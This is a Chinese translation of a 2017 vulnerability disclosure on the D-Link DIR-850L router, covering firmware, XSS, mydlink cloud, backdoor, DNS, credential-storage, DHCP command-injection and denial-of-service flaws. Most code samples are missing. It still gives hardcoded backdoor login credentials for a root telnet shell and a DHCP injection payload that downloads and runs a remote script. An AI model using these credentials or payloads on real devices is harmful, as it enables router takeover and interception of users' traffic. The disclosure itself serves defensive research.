本文講的是<b>在一款D-Link消費級路由器上,我發現了10個嚴重漏洞</b>,近期,資訊安全研究員皮埃爾·金(Pierre·Kim)公開了D-Link DIR 850L消費級無線路由器存在的10個嚴重漏洞。
此次公開的D-Link漏洞涉及多方面問題,如缺乏對固件映像的适當保護機制,意味着黑客可以向目标裝置注入包含後門的惡意拷貝,以及D-Link私有的mydlink雲協定中的漏洞。皮埃爾·金還發現了遠端代碼執行漏洞、預設密鑰,以及DDoS(分布式拒絕服務攻擊)風險。其他風險還包括跨站腳本攻擊(XSS)、明文存儲密碼,以及LAN後門等。
皮埃爾·金總結:“D-Link 850L是一款設計糟糕的路由器,存在大量漏洞。從LAN到WAN,所有一切都存在問題。”
一、固件映像缺乏保護
Dlink 850 LrevA的最新固件(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)不受保護,黑客可以僞造最新固件的映像。
Dlink850LrevB的最新固件映像(DIR850LB1_FW207WWb05.bin、DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1FW208WWb02.bin)是帶有寫死密碼。
以下是一個解密的固件映像的程式:
你可以使用這個程式來解密固件映像:
是以說,固件映像的保護是不存在的。
二、跨站腳本攻擊(XSS)
隻需通過分析/htdocs/web上的PHP檔案,就可以發現一些易受攻擊的XSS。
黑客可以使用XSS攻擊,經過使用者的身份驗證,以便竊取身份驗證cookie。
/htdocs/web/wpsacts.php:
/htdocs/web/shareport.php裡的XSS:
/htdocs/web/sitesurvey.php裡的XSS:
/htdocs/web/wandetect.php裡的XSS:
/htdocs/web/wpsacts.php裡的XSS:
三、mydlink雲協定中的漏洞
黑客可以使用自定義的mydlink雲協定獲得完整的通路權限。
http://ip_of_router/register_send.php不檢查使用者的身份驗證,是以黑客可以濫用此網頁來獲得對裝置的控制,此網頁用于将裝置注冊到myDlink雲基礎設施。
黑客将使用未經驗證的/register_send.php網頁來進行:
1.建立MyDlink雲帳戶;
2.在裝置上注冊這個賬号;
3.将裝置添加到這個帳戶,這樣裝置将通過管理密碼進入到雲平台,同時這意味着密碼以明文存儲。
首先,黑客将使用Firefox50通路Dlink登入頁https://www.mydlink.net.cn/entrance,黑客會利用該網頁遠端控制裝置(比如通過重新啟動)。不過要注意的是,Firefox50要安裝官方的DlinkNPAPI擴充。
其次,使用Firefox開發工具,黑客可以分析來自www.mydlink.com上的Dlinkapi的預設HTTP請求或響應。因為在預設情況下,Dlink雲接口将在PUT請求的響應中洩漏裝置的密碼。僅僅通過看NPAPI插件的HTTP請求,api就可以在明文中找到裝置的密碼。
最後,NPAPI插件會自動建立一個路由器和Firefox浏覽器之間的通道,這樣,黑客就可以通路http://127.0.0.1:dynamicaly_generated_remote_port/控制遠端路由器。流量将直接進入亞馬遜伺服器,然後到達遠端Dlink路由器::
黑客将使用來自Dlink api的legitHTTPS響應提供的前一個密碼,并能夠在路由器内登入。此時,黑客就完成了對路由器的完全控制。
這是通過在Amazon伺服器上建立一個TCP通道的signalc程式(/mydlink/内部)實作的。
駐留在http://ip_of_router/register_send.php的PHP腳本,将充當黑客和遠端Dlinkapi之間的代理,此頁面還将檢索密碼(它存儲在cleartext中)并将其發送到遠端Dlink api。
密碼将在裝置的關聯中發送(第三個請求:adddev)到Mydlink雲服務(見&device_password=$devpasswd):
為了利用這個vuln,讓皮埃爾到dlink路由器建立3個HTTP請求:
第一個是signup請求,将在MyDlink服務上建立一個使用者:
在内部,這個請求被制作并發送到MyDlink雲api:
第一個是signin請求,路由器将與“signin”新建立的使用者關聯,但未激活:
最後一個請求會将該裝置與dlink服務關聯,并将該裝置的密碼發送到dlink的遠端api:
現在請使用來自Dlink的郵件确認郵件:
然後,通路http://mydlink.com/并使用電子郵件和密碼登入。
此時,你将看到在web界面中列出的裝置。
以下是附件截圖,檢視可用的管理選項:
通過分析這些請求,皮埃爾可以獲得更多關于目标路由器的資訊(請注意,在浏覽www.mydlink.com網站時,請求是預設的):
它出現了PUT(PUTidentifier-of_the_router)請求,以提供與裝置的cleartext密碼的響應。
請注意,在映像的末尾有一個GET請求。
POST資料如下
在cleartext(包含裝置的密碼),響應是:
這樣,一個GET請求就完成了(上一個映像中的最後一個),它允許檢索目前密碼和之前的密碼:
GET請求如下:
響應還是一樣的,使用前一個明文密碼和新密碼(adminPassword):
最後,來自NPAPI插件的請求,處于浏覽器和遠端路由器之間的通道:
對/tssm/tssml.php的請求會使遠端雲平台将流量轉發到裝置編号3xxxxxxxxx,通過雲平台,這将為黑客提供從浏覽器NPAPI擴充到DLINK850L路由器的建立立的TCP通道的資訊:
看起來插件會監測127.0.0.1:50453/tcp(HTTP)和127.0.0.1:50454/tcp(HTTP/SSL),如下所示:
現在,讓皮埃爾浏覽http://127.0.0.1:50453,通過雲協定将流量發送到遠端路由器。
通過使用之前發現的洩漏密碼(在PUT和GET請求中),黑客可以遠端對路由器進行pwn,并更新固件:
這些漏洞可能會影響一些使用Dlink的NAS、路由器以及攝像頭。
有趣的是,DLink将使用mydlink服務存儲在cleartext中的所有裝置密碼。
四、路由器WAN雲協定中的漏洞
MyDlink雲協定很弱,預設情況下,該技術不提供加密,它隻是一個基本的TCP中繼系統。所有的流量都是通過TCP發送到遠端亞馬遜伺服器的,沒有經過加密:
TCP繼電器是以dlink路由器的HTTPS伺服器作為端點的,是以,這個路由器可以通過HTTP和HTTPS通路TCP通道。預設情況下,你可以從浏覽器(通過通道)檢視到路由器的HTTP請求和HTTPS請求。關于HTTPS請求,路由器提供的SSL證書是自簽名的。這樣,黑客就可以通過僞造和使用一個無效的證書,以便成功的對裝置進行中間人攻擊和攔截資訊。更重要的是,預設情況下,HTTP的TCP繼電器是由NPAPI插件制作的。
在路由器内部運作的/mydlink/signalc程式使用該裝置的MAC位址來獲得一個唯一的辨別符,即使dlink裝置被重置或連結到新的dlink雲帳戶,該辨別符也不變。使用者可以使用rgbin二進制檔案更改裝置的MAC位址,/usr/sbin/devdata是一個到達/usr/sbin/rgbin的符号連結,并且使用的argv[0]必須是要進行以下運作的devdata這個程式:
這個程式隻會重寫/dev/mtdblock/4的資訊。
mydlink接口允許使用者輸入gmail/hotmail帳戶的憑據,然後憑據通過與雲協定建立的通道轉移到路由器。這似乎并不是一個好主意,因為路由器和雲平台之間的流量沒有加密,使用自簽名證書,而沒有經過驗證,密碼會通過網際網路發送到這條通道。
這些漏洞可能會影響一些使用Dlink的NAS、路由器、攝像頭以及支援MyDlink雲協定的每個裝置。
以下是一些wireshark(cleartext流量和自簽名證書):
五、LAN後門
在revB上,如果你重置了裝置,/etc/init0.d/S80mfcd.sh腳本将以下面這些參數啟動mfcd二進制檔案:
mfcd實際上是一個telnetd伺服器,-u标志用關聯的密碼($image_sign變量)定義授權使用者。
br0是eth0、peth0、wlan0以及wlan1網口的橋梁,這個後門隻能從區域網路中使用。
通過使用loginAlphanetworks和wrgac25_dlink.2013gui_dir850l密碼,黑客可以在裝置上得到一個具有Root權限的Shell:
六、私鑰漏洞
密鑰是在固件内寫死過的,可以使用HTTPS管理,這就允許黑客進行SSL中間人攻擊:
七、DNS配置漏洞
黑客可以利用htdocs/parentalcontrols/bind.php檔案更改DNS配置,重新配置時,它不會對管理使用者的身份進行驗證。
在即沒有HTTP請求的限制,也沒有身份驗證的情況下,黑客可以對nonce(?nonce=integer)進行暴力破解(BruteForce):
然後,黑客可以定義新的DNS伺服器:
黑客可以使用這個vuln将流量轉發給其控制的伺服器,進而進行對Dlink雲伺服器進行自定義,控制Dlink路由器。
八、明文存儲密碼漏洞
從下面5個檔案中,皮埃爾發現了較弱的權限:
1./var/passwd
/var/passwd在明文中包含憑證,/var/passwd的權限為-rw-rw-rw-(666):
2./var/etc/hnapasswd
注意,黑客可以使用/var/etc/hnapasswd在cleartext中檢索密碼:
/var/etc/hnapasswd的權限是-rw-rw-rw-(666)
3./etc/shadow
/etc/shadow是一個到/var/etc/passwd的符号連結,/var/etc/passwd檔案是可讀的,如下所示:
該檔案包含管理使用者的DES哈希值:
4./var/run/storage_account_root
/var/run/storage_account_root包含在cleartext的憑證中,/var/passwd的權限為-rw-rw-rw-(666)
5./var/run/hostapd*
/var/run/hostapd*檔案包含了cleartext中的無線密碼,這些檔案的權限為-rw-rw-rw-(666)
九、RCE漏洞
在路由器上運作的DHCP用戶端容易受到幾個指令注入的影響。
請使用dhcpd.conf檔案提供以下配置:
當在啟動時做DHCP請求時,路由器連接配接到遠端HTTP伺服器的WAN:
現在皮埃爾得到了一個來自WAN的telnetd:
這個telnetd通路可以從WAN和LAN通路。
漏洞分析
涉及幾個WAN RCE漏洞。第一個漏洞是:
/etc/services/INET/inet_ipv4.php
你可以在任何地方都實施指令注入:
正如你所看到的,變量沒有被清理過。一種解決方案是使用具有$domain(isc-dhcp中的option domain-name)的注入指令—— /var/servd/$VAR-udhcpc.sh。使用的sh腳本。
将生成WAN-1-udhcpc.sh檔案,并由udhcpc(udhcpc -i eth1 -H dlinkrouter -p /var/servd/WAN-1-udhcpc.pid -s /var/servd/WAN-1-udhcpc.sh)調用。
是以,使用這個DNS配置将對路由器起作用:
在日志中,皮埃爾确認執行:
注意,你還在一些生成的檔案(在/var/servd/)中使用;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;有效載荷:
此攻擊将通過在路由器内運作的dhcp伺服器傳遞給内部用戶端,是以,如果你将一個脆弱的Dlink路由器連接配接到内部網絡,它也會被pwned:
/runtime/inf:{1,2}/dhcps4/pool/domain入口點位于/var/servd/LAN-{1,2}-udhcpd.conf檔案,而該檔案包含流氓域值(rogue domain value):
十、DDoS漏洞
該漏洞出現在路由器(revA和revB)中運作的一些守護程序可以從LAN遠端崩潰,由于它不向黑客提供進一步的遠端特權,是以目前還沒有詳細的分析。
最後
對這10個嚴重漏洞,D-Link尚未做出回應,并且目前尚不清楚D-Link是否會承認這些漏洞的存在,以及是否打算修複這些漏洞。
原文釋出時間為:2017年9月15日
本文作者:xiaohui
本文來自雲栖社群合作夥伴嘶吼,了解相關資訊可以關注嘶吼網站。
<a href="http://www.4hou.com/technology/7638.html" target="_blank">原文連結</a>